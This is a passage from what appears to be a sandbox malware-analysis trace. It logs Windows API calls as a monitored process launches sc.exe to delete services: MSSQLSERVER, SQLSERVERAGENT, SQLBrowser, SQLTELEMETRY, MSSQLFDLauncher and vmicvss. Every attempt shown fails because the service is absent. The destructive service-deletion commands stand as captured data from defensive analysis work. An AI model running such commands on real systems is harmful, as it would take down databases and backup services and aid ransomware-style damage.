(_String1="delete", _String2="pause") returned -12 [0064.151] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0064.151] _wcsicmp (_String1="delete", _String2="control") returned 1 [0064.151] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0064.151] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0064.151] _wcsicmp (_String1="delete", _String2="config") returned 1 [0064.151] _wcsicmp (_String1="delete", _String2="description") returned -7 [0064.152] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0064.152] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0064.152] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0064.152] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0064.152] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0064.152] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0064.152] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0064.152] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0064.152] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0064.152] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0064.152] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0064.152] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0064.152] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0064.152] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0064.152] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0064.152] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0064.152] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0064.152] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0064.152] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x104370 [0064.156] OpenServiceW (hSCManager=0x104370, lpServiceName="vmicvss", dwDesiredAccess=0x10000) returned 0x0 [0064.156] GetLastError () returned 0x424 [0064.156] _itow (in: _Dest=0x424, _Radix=719480 | out: _Dest=0x424) returned="1060" [0064.156] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff0fb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0064.158] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0xafa30, nSize=0x2, Arguments=0xafa60 | out: lpBuffer="跀\x10") returned 0x62 [0064.158] GetFileType (hFile=0x120) returned 0x3 [0064.158] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x108ea0 [0064.158] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x108ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x10", lpUsedDefaultChar=0x0) returned 98 [0064.159] WriteFile (in: hFile=0x120, lpBuffer=0x108ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xaf9d8, lpOverlapped=0x0 | out: lpBuffer=0x108ea0*, lpNumberOfBytesWritten=0xaf9d8*=0x62, lpOverlapped=0x0) returned 1 [0064.159] LocalFree (hMem=0x108ea0) returned 0x0 [0064.159] LocalFree (hMem=0x108dc0) returned 0x0 [0064.159] LocalFree (hMem=0x0) returned 0x0 [0064.159] CloseServiceHandle (hSCObject=0x104370) returned 1 [0064.160] exit (_Code=1060) Thread: id = 21 os_tid = 0x8a8 Process: id = "12" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x38fe1000" os_pid = "0x8b8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete MSSQLFDLauncher" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 22 os_tid = 0x8c8 [0064.207] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x20f770 | out: lpSystemTimeAsFileTime=0x20f770*(dwLowDateTime=0xe9017630, dwHighDateTime=0x1d62701)) [0064.207] GetCurrentProcessId () returned 0x8b8 [0064.207] GetCurrentThreadId () returned 0x8c8 [0064.207] GetTickCount () returned 0x114736c [0064.207] QueryPerformanceCounter (in: lpPerformanceCount=0x20f778 | out: lpPerformanceCount=0x20f778*=18440599584) returned 1 [0064.209] GetModuleHandleW (lpModuleName=0x0) returned 0xff020000 [0064.209] __set_app_type (_Type=0x1) [0064.209] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff027228) returned 0x0 [0064.209] __wgetmainargs (in: _Argc=0xff02b604, _Argv=0xff02b610, _Env=0xff02b608, _DoWildCard=0, _StartInfo=0xff02b050 | out: _Argc=0xff02b604, _Argv=0xff02b610, _Env=0xff02b608) returned 0 [0064.210] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0064.212] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0064.212] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0064.212] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0064.212] _wcsicmp (_String1="delete", _String2="query") returned -13 [0064.212] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0064.212] _wcsicmp (_String1="delete", _String2="start") returned -15 [0064.212] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0064.212] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0064.212] _wcsicmp (_String1="delete", _String2="control") returned 1 [0064.212] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0064.212] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0064.212] _wcsicmp (_String1="delete", _String2="config") returned 1 [0064.212] _wcsicmp (_String1="delete", _String2="description") returned -7 [0064.212] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0064.212] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0064.212] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0064.212] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0064.212] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0064.212] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0064.212] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0064.212] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0064.213] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0064.213] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0064.213] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0064.213] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0064.213] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0064.213] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0064.213] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0064.213] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0064.213] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0064.213] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0064.213] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x3f43d0 [0064.219] OpenServiceW (hSCManager=0x3f43d0, lpServiceName="MSSQLFDLauncher", dwDesiredAccess=0x10000) returned 0x0 [0064.219] GetLastError () returned 0x424 [0064.219] _itow (in: _Dest=0x424, _Radix=2160088 | out: _Dest=0x424) returned="1060" [0064.219] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff02b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0064.221] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x20f590, nSize=0x2, Arguments=0x20f5c0 | out: lpBuffer="趰?") returned 0x62 [0064.221] GetFileType (hFile=0x120) returned 0x3 [0064.221] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x3f8e90 [0064.221] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x3f8e90, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n?", lpUsedDefaultChar=0x0) returned 98 [0064.221] WriteFile (in: hFile=0x120, lpBuffer=0x3f8e90*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x20f538, lpOverlapped=0x0 | out: lpBuffer=0x3f8e90*, lpNumberOfBytesWritten=0x20f538*=0x62, lpOverlapped=0x0) returned 1 [0064.221] LocalFree (hMem=0x3f8e90) returned 0x0 [0064.221] LocalFree (hMem=0x3f8db0) returned 0x0 [0064.221] LocalFree (hMem=0x0) returned 0x0 [0064.221] CloseServiceHandle (hSCObject=0x3f43d0) returned 1 [0064.224] exit (_Code=1060) Thread: id = 23 os_tid = 0x8d8 Process: id = "13" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x388e9000" os_pid = "0x8e8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete MSSQLSERVER" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 24 os_tid = 0x8f8 [0064.280] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x20ff30 | out: lpSystemTimeAsFileTime=0x20ff30*(dwLowDateTime=0xe90d5d10, dwHighDateTime=0x1d62701)) [0064.281] GetCurrentProcessId () returned 0x8e8 [0064.281] GetCurrentThreadId () returned 0x8f8 [0064.281] GetTickCount () returned 0x11473ba [0064.281] QueryPerformanceCounter (in: lpPerformanceCount=0x20ff38 | out: lpPerformanceCount=0x20ff38*=18447913869) returned 1 [0064.282] GetModuleHandleW (lpModuleName=0x0) returned 0xff530000 [0064.282] __set_app_type (_Type=0x1) [0064.282] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff537228) returned 0x0 [0064.282] __wgetmainargs (in: _Argc=0xff53b604, _Argv=0xff53b610, _Env=0xff53b608, _DoWildCard=0, _StartInfo=0xff53b050 | out: _Argc=0xff53b604, _Argv=0xff53b610, _Env=0xff53b608) returned 0 [0064.282] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0064.284] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0064.284] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0064.284] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0064.284] _wcsicmp (_String1="delete", _String2="query") returned -13 [0064.284] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0064.284] _wcsicmp (_String1="delete", _String2="start") returned -15 [0064.284] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0064.284] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0064.284] _wcsicmp (_String1="delete", _String2="control") returned 1 [0064.284] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0064.284] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0064.284] _wcsicmp (_String1="delete", _String2="config") returned 1 [0064.285] _wcsicmp (_String1="delete", _String2="description") returned -7 [0064.285] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0064.285] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0064.285] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0064.285] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0064.285] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0064.285] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0064.285] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0064.285] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0064.285] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0064.285] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0064.285] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0064.285] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0064.285] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0064.285] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0064.285] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0064.285] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0064.285] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0064.285] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0064.285] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x314370 [0064.290] OpenServiceW (hSCManager=0x314370, lpServiceName="MSSQLSERVER", dwDesiredAccess=0x10000) returned 0x0 [0064.290] GetLastError () returned 0x424 [0064.290] _itow (in: _Dest=0x424, _Radix=2162072 | out: _Dest=0x424) returned="1060" [0064.290] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff53b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0064.292] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x20fd50, nSize=0x2, Arguments=0x20fd80 | out: lpBuffer="跀1") returned 0x62 [0064.292] GetFileType (hFile=0x120) returned 0x3 [0064.292] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x318ea0 [0064.292] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x318ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n1", lpUsedDefaultChar=0x0) returned 98 [0064.292] WriteFile (in: hFile=0x120, lpBuffer=0x318ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x20fcf8, lpOverlapped=0x0 | out: lpBuffer=0x318ea0*, lpNumberOfBytesWritten=0x20fcf8*=0x62, lpOverlapped=0x0) returned 1 [0064.292] LocalFree (hMem=0x318ea0) returned 0x0 [0064.292] LocalFree (hMem=0x318dc0) returned 0x0 [0064.292] LocalFree (hMem=0x0) returned 0x0 [0064.292] CloseServiceHandle (hSCObject=0x314370) returned 1 [0064.364] exit (_Code=1060) Thread: id = 25 os_tid = 0x908 Process: id = "14" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x376ee000" os_pid = "0x918" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete SQLSERVERAGENT" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 26 os_tid = 0x928 [0064.434] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xcff30 | out: lpSystemTimeAsFileTime=0xcff30*(dwLowDateTime=0xe91943f0, dwHighDateTime=0x1d62701)) [0064.434] GetCurrentProcessId () returned 0x918 [0064.434] GetCurrentThreadId () returned 0x928 [0064.434] GetTickCount () returned 0x1147408 [0064.434] QueryPerformanceCounter (in: lpPerformanceCount=0xcff38 | out: lpPerformanceCount=0xcff38*=18463299046) returned 1 [0064.436] GetModuleHandleW (lpModuleName=0x0) returned 0xff130000 [0064.436] __set_app_type (_Type=0x1) [0064.436] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff137228) returned 0x0 [0064.436] __wgetmainargs (in: _Argc=0xff13b604, _Argv=0xff13b610, _Env=0xff13b608, _DoWildCard=0, _StartInfo=0xff13b050 | out: _Argc=0xff13b604, _Argv=0xff13b610, _Env=0xff13b608) returned 0 [0064.437] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0064.439] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0064.439] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0064.439] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0064.439] _wcsicmp (_String1="delete", _String2="query") returned -13 [0064.439] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0064.439] _wcsicmp (_String1="delete", _String2="start") returned -15 [0064.439] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0064.439] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0064.439] _wcsicmp (_String1="delete", _String2="control") returned 1 [0064.439] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0064.439] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0064.439] _wcsicmp (_String1="delete", _String2="config") returned 1 [0064.439] _wcsicmp (_String1="delete", _String2="description") returned -7 [0064.439] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0064.439] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0064.439] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0064.440] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0064.440] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0064.440] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0064.440] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0064.440] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0064.440] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0064.440] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0064.440] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0064.440] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0064.440] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0064.440] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0064.440] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0064.440] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0064.440] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0064.440] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0064.440] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x1f43d0 [0064.450] OpenServiceW (hSCManager=0x1f43d0, lpServiceName="SQLSERVERAGENT", dwDesiredAccess=0x10000) returned 0x0 [0064.450] GetLastError () returned 0x424 [0064.451] _itow (in: _Dest=0x424, _Radix=851352 | out: _Dest=0x424) returned="1060" [0064.451] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff13b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0064.452] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0xcfd50, nSize=0x2, Arguments=0xcfd80 | out: lpBuffer="趰\x1f") returned 0x62 [0064.453] GetFileType (hFile=0x120) returned 0x3 [0064.453] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x1f8e90 [0064.453] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x1f8e90, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x1f", lpUsedDefaultChar=0x0) returned 98 [0064.453] WriteFile (in: hFile=0x120, lpBuffer=0x1f8e90*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xcfcf8, lpOverlapped=0x0 | out: lpBuffer=0x1f8e90*, lpNumberOfBytesWritten=0xcfcf8*=0x62, lpOverlapped=0x0) returned 1 [0064.453] LocalFree (hMem=0x1f8e90) returned 0x0 [0064.453] LocalFree (hMem=0x1f8db0) returned 0x0 [0064.453] LocalFree (hMem=0x0) returned 0x0 [0064.453] CloseServiceHandle (hSCObject=0x1f43d0) returned 1 [0064.458] exit (_Code=1060) Thread: id = 28 os_tid = 0x948 Process: id = "15" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x37df5000" os_pid = "0x958" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete SQLBrowser" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 29 os_tid = 0x968 [0064.651] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xefd90 | out: lpSystemTimeAsFileTime=0xefd90*(dwLowDateTime=0xe929ed90, dwHighDateTime=0x1d62701)) [0064.652] GetCurrentProcessId () returned 0x958 [0064.652] GetCurrentThreadId () returned 0x968 [0064.652] GetTickCount () returned 0x1147475 [0064.652] QueryPerformanceCounter (in: lpPerformanceCount=0xefd98 | out: lpPerformanceCount=0xefd98*=18485021263) returned 1 [0064.653] GetModuleHandleW (lpModuleName=0x0) returned 0xff7d0000 [0064.653] __set_app_type (_Type=0x1) [0064.653] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff7d7228) returned 0x0 [0064.654] __wgetmainargs (in: _Argc=0xff7db604, _Argv=0xff7db610, _Env=0xff7db608, _DoWildCard=0, _StartInfo=0xff7db050 | out: _Argc=0xff7db604, _Argv=0xff7db610, _Env=0xff7db608) returned 0 [0064.654] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0064.657] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0064.657] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0064.657] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0064.657] _wcsicmp (_String1="delete", _String2="query") returned -13 [0064.657] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0064.657] _wcsicmp (_String1="delete", _String2="start") returned -15 [0064.657] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0064.657] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0064.657] _wcsicmp (_String1="delete", _String2="control") returned 1 [0064.657] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0064.657] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0064.657] _wcsicmp (_String1="delete", _String2="config") returned 1 [0064.657] _wcsicmp (_String1="delete", _String2="description") returned -7 [0064.657] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0064.657] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0064.657] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0064.657] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0064.657] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0064.657] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0064.657] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0064.657] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0064.657] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0064.657] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0064.657] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0064.657] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0064.658] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0064.658] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0064.658] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0064.658] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0064.658] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0064.658] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0064.658] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x2c4370 [0064.663] OpenServiceW (hSCManager=0x2c4370, lpServiceName="SQLBrowser", dwDesiredAccess=0x10000) returned 0x0 [0064.663] GetLastError () returned 0x424 [0064.664] _itow (in: _Dest=0x424, _Radix=982008 | out: _Dest=0x424) returned="1060" [0064.664] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff7db740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0064.666] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0xefbb0, nSize=0x2, Arguments=0xefbe0 | out: lpBuffer="跀,") returned 0x62 [0064.666] GetFileType (hFile=0x120) returned 0x3 [0064.666] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x2c8ea0 [0064.666] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x2c8ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n,", lpUsedDefaultChar=0x0) returned 98 [0064.666] WriteFile (in: hFile=0x120, lpBuffer=0x2c8ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xefb58, lpOverlapped=0x0 | out: lpBuffer=0x2c8ea0*, lpNumberOfBytesWritten=0xefb58*=0x62, lpOverlapped=0x0) returned 1 [0064.666] LocalFree (hMem=0x2c8ea0) returned 0x0 [0064.666] LocalFree (hMem=0x2c8dc0) returned 0x0 [0064.666] LocalFree (hMem=0x0) returned 0x0 [0064.666] CloseServiceHandle (hSCObject=0x2c4370) returned 1 [0064.672] exit (_Code=1060) Thread: id = 30 os_tid = 0x978 Process: id = "16" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x38afa000" os_pid = "0x998" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete SQLTELEMETRY" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT 